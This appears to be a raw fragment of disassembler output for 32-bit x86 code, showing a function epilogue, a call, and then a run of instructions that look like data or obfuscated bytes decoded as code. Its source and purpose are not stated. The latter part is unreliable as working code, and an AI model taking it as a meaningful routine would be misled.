or al, al
jne 0x10010f95
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.10010fd6
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx